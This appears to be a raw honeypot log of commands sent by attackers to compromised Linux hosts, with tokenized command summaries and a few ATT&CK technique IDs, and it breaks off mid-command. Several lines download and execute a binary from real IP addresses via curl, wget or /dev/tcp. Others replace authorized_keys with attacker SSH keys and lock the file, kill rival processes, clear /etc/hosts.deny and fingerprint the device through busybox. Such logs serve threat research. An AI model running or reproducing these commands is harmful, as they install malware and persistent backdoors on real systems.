('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


nohup $SHELL -c "curl http://8.134.219.183:60123/linux -o /tmp/JOMKhKeTsK; if [ ! -f /tmp/JOMKhKeTsK ]; then wget http://8.134.219.183:60123/linux -O /tmp/JOMKhKeTsK; fi; if [ ! -f /tmp/JOMKhKeTsK ]; then exec 6<>/dev/tcp/8.134.219.183/60123 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/JOMKhKeTsK && chmod +x /tmp/JOMKhKeTsK && /tmp/JOMKhKeTsK QPS+Bn1haQ3rg0ztZzZz6U+A8Q96YmsctuwyL+WyHGtrYAv1gE/saTF57FGD9AR0ZWMcteYwO+K3A2dleg/0iFHufTVn7kyC6whraWUCtuc2IeCwHGpndAzxn07ueDp/706A8h1pan0DseAvM/q1B2FpbA30gkr/eDF/8U2D/RNrZGocs+I7N+S2BmZzawr9n07tcS5470ef9w5raWUCtuc2IeypAGJqdATxn07sezp/706A9h1rYmIcteY4L+e3HGFnbAfzgU7tfyBx8U6C8RNoYmoctuwyO+K3A2Fgegz1gFHteTBn50mf9A5iaWUCtuU1IeexHGJgbhP3g07xezF65UmB9A5rc2ILt/o3MPq0Bn1ibAj/h0/uejRp7k2B6wpjfWIGs/ozNea9BGNibgvlhE/xeDdn7kqD6w9pZGkEt+UzOPS2Cn1iYg7rgErxcThz6U+A9Q56Z2cctu00L+WyBH1iawn/h0/ueTRp60if/AV0YWMDqeI4O+K3A2Flegz3hVHocS54602f9ApjaWUCtuA3IeW1A31naRP0g0zxfDBz6U+A9wh6a30DtOAvM+W+HGJraQfzgU7teiB47kmf9w9ifWIFvvo1N+6xAmJnbx30g0vxezJ58U2C8xNoYWoIseQwMeWnA2JldAz8iVHteTBn7kqI/wtqYmAGp+U3Nfq+AH1kYhP0hkflfzB47UeR9A9ufWIAsPozNeCpA2JqYAv1gE/raTFw7VGA8Ql0YmAGqeU0Me6xAmJjaB30hkfxeDJx8U6B/RNoYGIIseQwMuOnA2NidA/1gVHqcC546kuL8w1rYWpBHCVJcUbz8l16WHdH1Q6oJ8uYz6kVInuiyEAFHg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/JOMKhKeTsK && /tmp/JOMKhKeTsK QPS+Bn1haQ3rg0ztZzZz6U+A8Q96YmsctuwyL+WyHGtrYAv1gE/saTF57FGD9AR0ZWMcteYwO+K3A2dleg/0iFHufTVn7kyC6whraWUCtuc2IeCwHGpndAzxn07ueDp/706A8h1pan0DseAvM/q1B2FpbA30gkr/eDF/8U2D/RNrZGocs+I7N+S2BmZzawr9n07tcS5470ef9w5raWUCtuc2IeypAGJqdATxn07sezp/706A9h1rYmIcteY4L+e3HGFnbAfzgU7tfyBx8U6C8RNoYmoctuwyO+K3A2Fgegz1gFHteTBn50mf9A5iaWUCtuU1IeexHGJgbhP3g07xezF65UmB9A5rc2ILt/o3MPq0Bn1ibAj/h0/uejRp7k2B6wpjfWIGs/ozNea9BGNibgvlhE/xeDdn7kqD6w9pZGkEt+UzOPS2Cn1iYg7rgErxcThz6U+A9Q56Z2cctu00L+WyBH1iawn/h0/ueTRp60if/AV0YWMDqeI4O+K3A2Flegz3hVHocS54602f9ApjaWUCtuA3IeW1A31naRP0g0zxfDBz6U+A9wh6a30DtOAvM+W+HGJraQfzgU7teiB47kmf9w9ifWIFvvo1N+6xAmJnbx30g0vxezJ58U2C8xNoYWoIseQwMeWnA2JldAz8iVHteTBn7kqI/wtqYmAGp+U3Nfq+AH1kYhP0hkflfzB47UeR9A9ufWIAsPozNeCpA2JqYAv1gE/raTFw7VGA8Ql0YmAGqeU0Me6xAmJjaB30hkfxeDJx8U6B/RNoYGIIseQwMuOnA2NidA/1gVHqcC546kuL8w1rYWpBHCVJcUbz8l16WHdH1Q6oJ8uYz6kVInuiyEAFHg==" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HWUHM

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'echo | chpasswd | bash')


('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RDGHH


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'df -h | head -n | awk { print ; }')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NLUMX

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GYPKB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NCIAD


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a

('chmod +x ; sh ; rm -rf ; mkdir -p ; chattr -ia ; echo > ; chattr +ai ; uname -a',)


('./ ; dd if || while ; do echo ; done || cat ;',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JWHPD


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BVQOY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HCIGV


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


nohup $SHELL -c "curl http://150.223.72.143:60108/linux -o /tmp/TOVMv1bLrs; if [ ! -f /tmp/TOVMv1bLrs ]; then wget http://150.223.72.143:60108/linux -O /tmp/TOVMv1bLrs; fi; if [ ! -f /tmp/TOVMv1bLrs ]; then exec 6<>/dev/tcp/150.223.72.143/60108 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/TOVMv1bLrs && chmod +x /tmp/TOVMv1bLrs && /tmp/TOVMv1bLrs NU8+4zL8MUFKTV8o9TL3MF9JTFcm/DL0KF5MTEE39TDjNFlCTl83/TftN1lAVl439C78MVxWTFc8+zD8Ml1YSV0z4zH/MkFKSl0o/Df9PFlISV437TX1KF1IQUE0/jTjP1lCTl83/jDtNVhWSl8y4zH+MUFKTV08+zD8MlhYSVc04zH4N0FNS0E0/Dn3MF9JSF8m9S7/N1hWSlo24zj/PFlISVs+7TT6KF1MSkE/+C7/N1pCTl83/zXtPkFKSVco/zD7KFlKQlk2/DP0JltPVlgw4zH5NkFPSlUw/TH9P09JSVgo/DX7KFZMVls39zb9N1xKWF42+y74M0FJT14o/DD5PFlISV4x7TH/M0FAQEE0/zbjMllCTl83/zHtNF5AVlwo/Df6KFxBQlk2/DL9Jl5NSEE0/zPjMV1WSVs19zb9N19AWF40/S7/MEFKTFgo/Df3MF9JS1cm/DL/KF1KTkEy9C7/Nl1CTl83/TPtN15KVlY34zH8N0FJQFY8+zD8N19YSV0/4zH5MkFJQF8o/zb3MF9JSFgm/zH1KFxWSVgx4zP0PFlISV027TjjNF5PVl4//y7/MVVOSF4y/yD5MUFPTkE3+TDjMV1CTl83/TntPkFKSVgo/zL9KF5BT1Uw/TH5Mk9AVl00/y7/NV5WSls19zb9N1xNWFsx4zH8P0FKQEE0/zb3MF9JSFkm/jnjP1dWSV8/4zL1PFlISVww7TjjNF5IVl00+C78N1tCTl83/zntMlhWT1ko/zL5KF5NQVUw/TH9MU9MT0E0/jbjNFxIVlow9zb9N1tLvGjJpv1rzwfEenM=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/TOVMv1bLrs && /tmp/TOVMv1bLrs NU8+4zL8MUFKTV8o9TL3MF9JTFcm/DL0KF5MTEE39TDjNFlCTl83/TftN1lAVl439C78MVxWTFc8+zD8Ml1YSV0z4zH/MkFKSl0o/Df9PFlISV437TX1KF1IQUE0/jTjP1lCTl83/jDtNVhWSl8y4zH+MUFKTV08+zD8MlhYSVc04zH4N0FNS0E0/Dn3MF9JSF8m9S7/N1hWSlo24zj/PFlISVs+7TT6KF1MSkE/+C7/N1pCTl83/zXtPkFKSVco/zD7KFlKQlk2/DP0JltPVlgw4zH5NkFPSlUw/TH9P09JSVgo/DX7KFZMVls39zb9N1xKWF42+y74M0FJT14o/DD5PFlISV4x7TH/M0FAQEE0/zbjMllCTl83/zHtNF5AVlwo/Df6KFxBQlk2/DL9Jl5NSEE0/zPjMV1WSVs19zb9N19AWF40/S7/MEFKTFgo/Df3MF9JS1cm/DL/KF1KTkEy9C7/Nl1CTl83/TPtN15KVlY34zH8N0FJQFY8+zD8N19YSV0/4zH5MkFJQF8o/zb3MF9JSFgm/zH1KFxWSVgx4zP0PFlISV027TjjNF5PVl4//y7/MVVOSF4y/yD5MUFPTkE3+TDjMV1CTl83/TntPkFKSVgo/zL9KF5BT1Uw/TH5Mk9AVl00/y7/NV5WSls19zb9N1xNWFsx4zH8P0FKQEE0/zb3MF9JSFkm/jnjP1dWSV8/4zL1PFlISVww7TjjNF5IVl00+C78N1tCTl83/zntMlhWT1ko/zL5KF5NQVUw/TH9MU9MT0E0/jbjNFxIVlow9zb9N1tLvGjJpv1rzwfEenM=" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'o')


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RIWPF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JVIBR

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


nohup $SHELL -c "curl http://129.144.180.26:60107/linux -o /tmp/Y3vyj5v7Jr; if [ ! -f /tmp/Y3vyj5v7Jr ]; then wget http://129.144.180.26:60107/linux -O /tmp/Y3vyj5v7Jr; fi; if [ ! -f /tmp/Y3vyj5v7Jr ]; then exec 6<>/dev/tcp/129.144.180.26/60107 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/Y3vyj5v7Jr && chmod +x /tmp/Y3vyj5v7Jr && /tmp/Y3vyj5v7Jr 9KdvVeIXzo6KEzEFjpTND+FRbraJjqdmSekIyJSMCDAThojFD+tWar+ZiLFmSeoIxpSPCjMTioLFD+tWarWZjbBwVe8M0YuMCi4LjIDJCepXb6eNjqlsVO0XzoyOEzEHiIrOCOxHZqmLiL5wVu4M0YiODToLjovNDPtWa7eXi7VtSe0L0YuJBDoLjovLAftWb7CXiLRvSeoMzpSPCzkHiIrOC+9HZqmIirBwUO0XzoqJBzYNj4rHGeNJbLaJl7ZtVvULy4OECzAMjojfCOtWcL6Il7ZuUPUIzY2ECzAMjonfDexJbLSPl7VuVPUPzYCIDTEJhprNCehJa7GXi7VmSekKz4CIDTEMiprJCPVWbb+XiL9rSekKy4CIDTEJhprHF+lWZqmIjrRwX+MDyYqPDDUdj47HF+xVcLaMiqlvXu4DyYqPCTkdiIvRCO1XcLWIiqlsVOIDyYqPDTEdio3RDu1JabCXiL9pXe0JzomJHTQKkIjMAfVVbbOXiLFmXe0JzoiOHTYMkIvJCfVVb7SXi7RnXe0JzoqPHTEPj5TLCvVWb7SXiLVvXe0JzomKHTQKkIjLDPVWbLCXj7VkUesIz4ueCTcTjInJF+pQcLCNg7FuVu8O34uLDS4PjInRD+tJb7GIg7FuVugP346JEzIOiJTOD+9Jab6Dj7dvV+kZy42QDzMLkIvOCfVVbraDj7dvVusZy4mQDDMEkIjMAPVVbL6Dj7dvU+gZyoKQDzAEkIjMDfVeaL2PibZtVPsNyJSJCy4PjI7RCO5eZLGJiLdpR+oIyJSNDi4Mio3RCuJdaLeIjb45ab6BbJlklqZMn3EYLJugt+bg7oBYTQ==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/Y3vyj5v7Jr && /tmp/Y3vyj5v7Jr 9KdvVeIXzo6KEzEFjpTND+FRbraJjqdmSekIyJSMCDAThojFD+tWar+ZiLFmSeoIxpSPCjMTioLFD+tWarWZjbBwVe8M0YuMCi4LjIDJCepXb6eNjqlsVO0XzoyOEzEHiIrOCOxHZqmLiL5wVu4M0YiODToLjovNDPtWa7eXi7VtSe0L0YuJBDoLjovLAftWb7CXiLRvSeoMzpSPCzkHiIrOC+9HZqmIirBwUO0XzoqJBzYNj4rHGeNJbLaJl7ZtVvULy4OECzAMjojfCOtWcL6Il7ZuUPUIzY2ECzAMjonfDexJbLSPl7VuVPUPzYCIDTEJhprNCehJa7GXi7VmSekKz4CIDTEMiprJCPVWbb+XiL9rSekKy4CIDTEJhprHF+lWZqmIjrRwX+MDyYqPDDUdj47HF+xVcLaMiqlvXu4DyYqPCTkdiIvRCO1XcLWIiqlsVOIDyYqPDTEdio3RDu1JabCXiL9pXe0JzomJHTQKkIjMAfVVbbOXiLFmXe0JzoiOHTYMkIvJCfVVb7SXi7RnXe0JzoqPHTEPj5TLCvVWb7SXiLVvXe0JzomKHTQKkIjLDPVWbLCXj7VkUesIz4ueCTcTjInJF+pQcLCNg7FuVu8O34uLDS4PjInRD+tJb7GIg7FuVugP346JEzIOiJTOD+9Jab6Dj7dvV+kZy42QDzMLkIvOCfVVbraDj7dvVusZy4mQDDMEkIjMAPVVbL6Dj7dvU+gZyoKQDzAEkIjMDfVeaL2PibZtVPsNyJSJCy4PjI7RCO5eZLGJiLdpR+oIyJSNDi4Mio3RCuJdaLeIjb45ab6BbJlklqZMn3EYLJugt+bg7oBYTQ==" &

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'echo && cat', '>', 'o')

T1005 Data from Local System
T1070 Indicator Removal
T1005 Data from Local System


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LPDAH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JWEUI


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BXHBA


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MYZND


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'lscpu | grep', 'df -h | head -n | awk { print ; }')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PGZVY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YRDJP


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XSJWL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MLGGX


rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

df -h | head -n 2 | awk 'FNR == 2 {print $2;}'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NJDMK

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KSWEN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IHDYK


cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TEMAB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IFDUO


('cd ; chattr -ia ; lockr -ia', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'rm -rf ; rm -rf ; pkill -9 ; pkill -9 ; echo > ; pkill -9 ;', 'cat | grep | head -n | awk { print ; }', 'free -m | grep | awk { print }', 'ls -lh ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'whoami', 'lscpu | grep', 'df -h | head -n | awk { print ; }', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UPKKQ

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo ; done', '/bin/busybox', 'rm ; exit')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TEYNP


nohup $SHELL -c "curl http://8.217.250.82:60148/linux -o /tmp/479yYlJJdb; if [ ! -f /tmp/479yYlJJdb ]; then wget http://8.217.250.82:60148/linux -O /tmp/479yYlJJdb; fi; if [ ! -f /tmp/479yYlJJdb ]; then exec 6<>/dev/tcp/8.217.250.82/60148 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/479yYlJJdb && chmod +x /tmp/479yYlJJdb && /tmp/479yYlJJdb 